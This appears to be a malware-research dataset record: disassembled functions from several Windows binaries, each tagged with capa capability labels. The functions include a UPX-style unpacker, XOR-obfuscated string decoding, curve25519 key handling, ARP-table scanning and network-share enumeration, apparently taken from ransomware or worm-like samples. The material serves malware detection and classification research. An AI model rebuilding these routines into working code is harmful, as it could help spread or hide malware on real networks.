joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450b7c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x450b93
add esp, 0xfffffff0
call fcn.00403420
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419300
mov eax, dword [0x455fdc]
cmp word [eax + 2], 0
jne 0x450bbb
mov eax, dword [0x455fdc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004522e4
mov eax, dword [0x456088]
cmp word [eax + 2], 0
jne 0x450bd5
mov eax, dword [0x456088]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004524dc
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4115f8]
call fcn.004030cc
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4115f8]
call fcn.004030cc
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b834]
call fcn.00422bac
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x450d5c
mov eax, dword [0x455f04]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00422f7c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x452a7c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x455f04]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c068
test eax, eax
je 0x450cca
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.0040838c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c090
test eax, eax
je 0x450cde
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004040bc
mov eax, dword [0x455df8]
cmp byte [eax], 0
jne 0x450d12
mov eax, ebx
call fcn.00450e84
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00452c58
mov eax, ebx
call fcn.0045361c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x450d52
call fcn.00403478
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451104
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x457bdc]
cmp dword [eax + 0x30], 0
je 0x4511ae
cmp dword [ebx + 0x94], 0
jne 0x4511a8
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x451094
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4511a8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45116e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4511a8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413960
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45117d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x451d10
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x451d45
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f3c
jmp 0x451d52
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403ea0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x452e34
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x452e75
mov eax, esi
call fcn.0043956c
test al, al
je 0x452e75
mov eax, dword [ebx + 0x84]
call fcn.00439268
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x452e75
push 0
mov eax, dword [ebx + 0x84]
call fcn.00439268
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x40f530
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f552
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f559
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f548
mov eax, 1
add ebx, ebx
jne 0x40f56b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f560
jne 0x40f57c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f560
xor ecx, ecx
sub eax, 3
jb 0x40f590
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f602
mov ebp, eax
add ebx, ebx
jne 0x40f59b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f5a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f5cc
inc ecx
add ebx, ebx
jne 0x40f5b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f5ad
jne 0x40f5c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f5ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f5ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f5dd
jmp 0x40f54e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f5ec
add edi, ecx
jmp 0x40f54e
pop esi
mov edi, esi
mov ecx, 0x210
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f60a
cmp byte [edi], 5
jne 0x40f60a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40f60f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f67e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10424]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x104d8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f63c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x104dc]
or eax, eax
je 0x40f678
mov dword [ebx], eax
add ebx, 4
jmp 0x40f659
call dword [esi + 0x104ec]
mov ebp, dword [esi + 0x104e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40f6b2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x402884
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movaps xmm0, xmmword [0x402050]
xor edx, edx
push esi
movups xmmword [ebp - 0x22], xmm0
mov eax, edx
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401cc0]
push edi
mov edi, ecx
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 0x21
jb 0x4028ae
mov ecx, dword [ebp + 8]
mov esi, edx
mov byte [ebp - 1], dl
movzx eax, byte [esi + edi]
shr eax, 4
mov ax, word [ebp + eax*2 - 0x22]
mov word [ecx + edx*2], ax
lea edx, [edx + 2]
movzx eax, byte [esi + edi]
and eax, 0xf
inc esi
mov ax, word [ebp + eax*2 - 0x22]
mov word [ecx + edx*2 - 2], ax
cmp esi, 9
jl 0x4028c1
xor eax, eax
pop edi
mov word [ecx + edx*2], ax
pop esi
leave
ret
Function at 0x403c8e
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 9
jb 0x403c90
mov byte [ecx + 9], 0
mov eax, ecx
ret

Function at 0x403ca1
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 5
jb 0x403ca3
mov byte [ecx + 5], 0
mov eax, ecx
ret

Function at 0x403cb4
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x17
jb 0x403cb6
mov byte [ecx + 0x17], 0
mov eax, ecx
ret
Function at 0x404f87
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, edx
mov dword [ebp + 0xc], 0xa
mov edi, ecx
neg ebx
sub edi, esi
mov eax, dword [edi + esi]
mov ecx, dword [esi]
xor ecx, eax
and ecx, ebx
xor eax, ecx
cdq
mov dword [edi + esi], eax
mov dword [edi + esi + 4], edx
mov eax, dword [esi]
xor eax, ecx
sub dword [ebp + 0xc], 1
cdq
mov dword [esi], eax
lea esi, [esi + 8]
mov dword [esi - 4], edx
jne 0x404f9f
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x405570
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push ebx
push esi
push edi
mov ebx, ecx
lea edi, [ebp - 0x24]
push 8
mov esi, edx
mov edx, dword [ebp + 8]
pop ecx
rep movsd dword es:[edi], dword [esi]
mov al, byte [ebp - 5]
lea ecx, [ebp - 0xcc]
and byte [ebp - 0x24], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.0040478d
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x16c]
call fcn.00404fca
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x11c]
call fcn.00405222
lea eax, [ebp - 0x11c]
push eax
lea edx, [ebp - 0x16c]
lea ecx, [ebp - 0x7c]
call fcn.004043a2
add esp, 0xc
lea edx, [ebp - 0x7c]
mov ecx, ebx
call fcn.00404ab3
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x4055f4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov edi, edx
or esi, 0xffffffff
mov eax, edi
mov ebx, ecx
cdq
and edx, 3
add edx, eax
sar edx, 2
test edx, edx
jle 0x405660
movzx eax, byte [ebx]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401228]
movzx eax, byte [ebx + 1]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401228]
movzx eax, byte [ebx + 2]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401228]
movzx eax, byte [ebx + 3]
add ebx, 4
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401228]
sub edx, 1
jne 0x40560d
and edi, reloc.WS2_32.dll_closesocket
jns 0x40566d
dec edi
or edi, 0xfffffffc
inc edi
xor ecx, ecx
test edi, edi
jle 0x40568b
movzx eax, byte [ecx + ebx]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [eax*4 + 0x401228]
inc ecx
cmp ecx, edi
jl 0x405673
not esi
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x406be7
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 7
jb 0x406be9
mov byte [ecx + 7], 0
mov eax, ecx
ret

Function at 0x406bfa
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xf
jb 0x406bfc
mov byte [ecx + 0xf], 0
mov eax, ecx
ret

Function at 0x406c0d
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xb
jb 0x406c0f
mov byte [ecx + 0xb], 0
mov eax, ecx
ret

Function at 0x406cd5
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x406d3e
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], 0x25a207b9
push eax
push 4
push 0x411af8
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0xc], 0xe576e98e
mov dword [ebp - 8], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x406d3e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x406d3e
inc eax
jmp 0x406d40
xor eax, eax
pop esi
leave
ret
Function at 0x406d43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpNetTable]
lea eax, [ebp - 8]
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ecx
push ebx
push eax
push ebx
mov dword [ebp - 8], ebx
call esi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x406ef3
call fcn.00406c20
mov edi, eax
test edi, edi
je 0x406ef3
push ebx
lea eax, [ebp - 8]
push eax
push edi
call esi
test eax, eax
jne 0x406ee8
mov dword [ebp - 0x14], ebx
cmp dword [edi], ebx
jbe 0x406ee5
lea eax, [edi + 0x14]
mov dword [ebp - 0x18], eax
mov edx, dword [eax]
lea eax, [ebp - 0x6c]
push 0x2c
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
pop ecx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x406dab
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x31], 0x7b676264
mov ecx, ebx
mov byte [ebp - 0x2d], bl
xor byte [ebp + ecx - 0x31], 0x55
inc ecx
cmp ecx, 4
jb 0x406dce
lea eax, [ebp - 0x31]
mov byte [ebp - 0x2d], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov dword [ebp - 0x3f], 0x7b676c64
mov dword [ebp - 0x3b], 0x7b6d6364
mov byte [ebp - 0x37], bl
xor byte [ebp + eax - 0x3f], 0x55
inc eax
cmp eax, 8
jb 0x406dfd
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x37], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x20], eax
mov ecx, ebx
mov dword [ebp - 4], 0x7b6564
xor byte [ebp + ecx - 4], 0x55
inc ecx
cmp ecx, 3
jb 0x406e22
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x24], eax
mov ecx, ebx
mov dword [ebp - 0x36], 0x7b6c6364
mov byte [ebp - 0x32], bl
xor byte [ebp + ecx - 0x36], 0x55
inc ecx
cmp ecx, 4
jb 0x406e4a
lea eax, [ebp - 0x36]
mov byte [ebp - 0x32], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp dword [ebp - 0x1c], esi
je 0x406e76
cmp dword [ebp - 0x20], esi
je 0x406e76
cmp dword [ebp - 0x24], esi
je 0x406e76
cmp eax, esi
jne 0x406ecd
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
jmp 0x406e94
movzx eax, word [ecx]
lea edx, [ebp - 0x28]
cmp ax, word [edx]
jne 0x406e91
movzx eax, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x406ecd
mov ecx, dword [ecx + 4]
test ecx, ecx
jne 0x406e7d
mov eax, dword [ebp - 0x2c]
push 0xc
mov dword [ebp - 0x10], eax
pop ecx
mov byte [ebp - 0xd], bl
call fcn.00406c20
mov esi, eax
test esi, esi
je 0x406ee5
mov eax, dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, dword [ebp - 0x10]
mov dword [esi], ecx
mov dword [edx], ebx
mov ecx, dword [eax + 4]
mov dword [esi + 8], ecx
mov eax, dword [eax + 4]
mov dword [eax], esi
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
inc edx
add eax, 0x18
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], eax
cmp edx, dword [edi]
jb 0x406d9d
xor ebx, ebx
inc ebx
mov ecx, edi
call fcn.00406cc5
mov eax, ebx
jmp 0x406ef5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406efa
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x24], 2
xorps xmm0, xmm0
mov dword [ebp - 0x20], 1
xor esi, esi
movlpd qword [ebp - 0x18], xmm0
and dword [ebp - 4], esi
and dword [ebp - 0x28], esi
push ebx
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 0x1c], 6
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov ecx, eax
mov dword [ebp - 8], eax
call fcn.00406c20
mov edi, eax
test edi, edi
je 0x406fa9
push esi
push esi
push dword [ebp - 8]
push edi
push 0xffffffffffffffff
push ebx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x406fa9
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x406fa9
push 0x2e
pop ecx
mov dword [ebp - 8], 0x17
call fcn.00406c20
mov esi, eax
test esi, esi
je 0x406fa9
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push esi
push ebx
push dword [ecx + 0x10]
push dword [ecx + 0x18]
call dword [sym.imp.WS2_32.dll_WSAAddressToStringW]
test eax, eax
je 0x406fa9
mov ecx, esi
call fcn.00406cc5
mov esi, ebx
cmp dword [ebp - 4], 0
je 0x406fb8
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x406fc3
mov ecx, edi
call fcn.00406cc5
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4070eb
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [0x411b00]
test edi, edi
jne 0x407103
xor eax, eax
jmp 0x4071f5
mov eax, dword [edi]
push ebx
push esi
mov dword [ebp - 4], eax
xor bl, bl
push 0x28
push 0x40
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4071cd
mov eax, dword [ebp - 4]
push 2
mov dword [esi + 0x18], eax
pop eax
push 1
push 0
push 0
push 6
push 1
push eax
mov byte [esi + 0x1c], al
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x407151
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4071c2
push 0x10
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x407157
push 2
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
and dword [ebp - 0x10], eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x40718e
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407148
push 0
push 2
pop eax
push eax
push dword [0x411afc]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x407183
lea ecx, [esi + 0x20]
and dword [ecx], 0
mov eax, dword [0x411ac0]
mov dword [esi + 0x24], eax
mov eax, dword [0x411ac0]
mov dword [eax], esi
mov dword [0x411ac0], ecx
inc bl
cmp bl, 0xff
jb 0x40710c
mov ecx, dword [edi + 4]
mov eax, dword [edi + 8]
test ecx, ecx
je 0x4071dc
mov dword [ecx + 8], eax
jmp 0x4071e1
mov dword [0x411b04], eax
mov esi, dword [edi + 8]
mov ecx, edi
mov edx, dword [edi + 4]
mov dword [esi], edx
call fcn.00406cc5
xor eax, eax
pop esi
inc eax
pop ebx
pop edi
leave
ret
Function at 0x4074ec
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x411d30], 0
push ebx
push esi
push edi
jne 0x407625
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 8], 0x4000
push 0x13
push ebx
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x407625
mov ecx, dword [ebp - 8]
call fcn.00406c20
mov edi, eax
test edi, edi
je 0x40761c
jmp 0x4075fb
cmp dword [ebp - 4], 0
mov dword [ebp - 0x10], ebx
jbe 0x4075fb
lea esi, [edi + 0x14]
test byte [esi - 8], 2
je 0x4075ae
push 0x411b18
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x40757a
mov eax, dword [esi]
push 0x411b18
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4075e8
mov ecx, dword [esi]
add ecx, 4
call fcn.00406efa
mov ebx, eax
test ebx, ebx
je 0x40759a
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, ebx
call fcn.00406cc5
mov ecx, dword [esi]
call fcn.0040770c
lea eax, [esi - 0x14]
push eax
call fcn.004074ec
xor ebx, ebx
jmp 0x4075e8
mov edx, dword [esi]
mov ecx, dword [0x411d38]
push 1
push ebx
push 4
call fcn.00407eef
add esp, 0xc
test eax, eax
je 0x4075e8
mov dword [ebp + 8], 0x555565
mov eax, ebx
xor byte [ebp + eax + 8], 0x55
inc eax
cmp eax, 3
jb 0x4075d0
mov edx, dword [esi]
lea ecx, [ebp + 8]
mov byte [ebp + 0xb], bl
call fcn.0040d331
mov eax, dword [ebp - 0x10]
add esi, 0x20
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 4]
jb 0x407550
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x407540
mov ecx, edi
call fcn.00406cc5
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40770c
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
xor eax, eax
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x14], ebx
mov edi, 0x411ae0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x407769
cmp esi, 0xea
je 0x40772d
jmp 0x4078db
mov esi, dword [ebp - 0x10]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0xc], ebx
jb 0x4078d4
mov eax, dword [esi + 4]
test eax, eax
je 0x407791
cmp eax, 0x80000000
je 0x407791
cmp eax, 0x40000000
jne 0x4078c4
mov dword [ebp - 0x36], 0x55115514
xor eax, eax
mov dword [ebp - 0x32], 0x551c5518
mov dword [ebp - 0x2e], 0x5571551b
mov word [ebp - 0x2a], 0x55
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0xd
jb 0x4077ae
lea eax, [ebp - 0x36]
mov byte [ebp - 0x29], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4078c4
mov ecx, 0x10000
call fcn.00406c20
mov edi, eax
test edi, edi
je 0x4078c4
push 0x401af8
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x22], 0x55095509
xor eax, eax
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 5
jb 0x407800
push 2
lea eax, [ebp - 0x22]
mov byte [ebp - 0x1d], 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x40784b
mov dword [ebp - 0x28], 0x55095509
xor eax, eax
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x28], 0x55
inc eax
cmp eax, 5
jb 0x407831
lea eax, [ebp - 0x28]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 4], 0x555509
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40785e
lea eax, [ebp - 4]
mov byte [ebp - 1], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x411d38]
mov edx, edi
push 1
push 0
push 4
call fcn.00407eef
add esp, 0xc
test eax, eax
je 0x4078bd
mov dword [ebp - 8], 0x555565
xor eax, eax
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 3
jb 0x4078a4
mov edx, edi
mov byte [ebp - 5], 0
lea ecx, [ebp - 8]
call fcn.0040d331
mov ecx, edi
call fcn.00406cc5
add esi, 0xc
inc ebx
cmp ebx, dword [ebp - 0xc]
jbe 0x407778
mov esi, dword [ebp - 0x10]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40792f
Capabilities:
Create thread

Disassembly:
cmp dword [0x411b14], 0
jne 0x407956
test ecx, ecx
je 0x40794f
xor eax, eax
push eax
push eax
push eax
push fcn.0040762e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push 0
call fcn.0040762e
ret